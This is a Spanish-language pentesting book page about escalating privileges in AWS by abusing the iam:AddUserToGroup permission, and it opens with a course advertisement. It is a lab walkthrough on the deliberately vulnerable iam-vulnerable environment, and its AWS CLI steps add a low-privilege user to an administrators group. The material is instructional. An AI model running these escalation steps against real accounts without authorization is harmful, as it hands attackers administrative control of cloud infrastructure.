> For the complete documentation index, see [llms.txt](https://books.spartan-cybersec.com/cpna/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://books.spartan-cybersec.com/cpna/escalacion-de-privilegios-en-iam/permisos-de-iam-en-otros-usuarios/addusertogroup.md).

# AddUserToGroup

{% hint style="danger" %}
¿Crees tener lo que se necesita para ser un experto en Pentesting contra AWS? Si nuestro libro te abrió los ojos a las posibilidades de la ciberseguridad ofensiva o si ya cuentas con habilidades en este campo, es momento de subir de nivel. Te retamos a certificarte en el [CPNA - Curso Profesional de Pentesting Contra AWS](https://spartan-cybersec.com/cursos/pentesting-contra-la-nube-de-aws/). No será fácil: te enfrentarás a un examen riguroso de 12 horas donde deberás hackear una infraestructura completa alojada en AWS. ¿Listo para el desafío? Acepta el reto y demuestra tu verdadero potencial.
{% endhint %}

{% hint style="warning" %}
Este laboratorio no se encuentra actualmente disponible en el CPNA.

Puedes practicar esta tecnica desplegando el ambiente en tu propia cuenta de AWS.

<https://github.com/BishopFox/iam-vulnerable>
{% endhint %}

Un atacante con el permiso `iam:AddUserToGroup` puede utilizarlo para añadirse a un grupo IAM existente en la cuenta de AWS.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

<figure><img src="/files/YdMzetQVjZKJsFclzYX1" alt=""><figcaption></figcaption></figure>

Este usuario tiene la siguiente política:

<figure><img src="/files/CebzFjQwZfczX0EN9ytd" alt=""><figcaption></figcaption></figure>

Este usuario tiene el siguiente rol:

<figure><img src="/files/tXyv51OCdSVOUY7AagPG" alt=""><figcaption></figcaption></figure>

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

```
aws iam list-attached-user-policies --user-name privesc13-AddUserToGroup-user
```

<figure><img src="/files/Fg12ruKtbm47oOOlcrrD" alt=""><figcaption></figcaption></figure>

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

{% code overflow="wrap" %}

```
aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc13-AddUserToGroup --version-id v1
```

{% endcode %}

<figure><img src="/files/bhyNBmHDAWfWEkcOVdrC" alt=""><figcaption></figcaption></figure>

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

{% code overflow="wrap" %}

```
aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc13-AddUserToGroup-role --role-session-name privesc13
```

{% endcode %}

<figure><img src="/files/wC0tK2KgB0F6KZDpZPdS" alt=""><figcaption></figcaption></figure>

{% hint style="danger" %}
A partir de este momento, estaremos trabajando con el usuario <mark style="color:red;">**privesc13-AddUserToGroup-user**</mark>.

Todos los comandos posteriores deben tener especificado el --profile con su respectivo nombre de perfil.
{% endhint %}

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del [El whoami de AWS](/cpna/introduccion-a-aws/el-whoami-de-aws.md)

Primero nos autenticamos:

```
aws configure --profile privesc13
```

<figure><img src="/files/ndLZLBzYOeqoaGQCC0qP" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
El token se especificará dentro del archivo plano de credenciales.
{% endhint %}

Y luego validamos con el whoami de AWS:

```
aws sts get-caller-identity --profile privesc13
```

<figure><img src="/files/DQJXAkeSBswzRNRLEnqw" alt=""><figcaption></figcaption></figure>

Si intentamos agregarnos al grupo de administradores, vamos a obtener una salida vacía que indica que la adicción del usuario al grupo fue exitosa:

{% code overflow="wrap" %}

```
aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc13-AddUserToGroup-user --profile privesc13
```

{% endcode %}

<figure><img src="/files/2Jc8eqiwvZwAeMoChyhD" alt=""><figcaption></figcaption></figure>

Si revisamos ahora podemos apreciar que el usuario inicial tiene privilegios de administrador:

<figure><img src="/files/IY4dFQ23XPLuGKcHPEul" alt=""><figcaption></figcaption></figure>
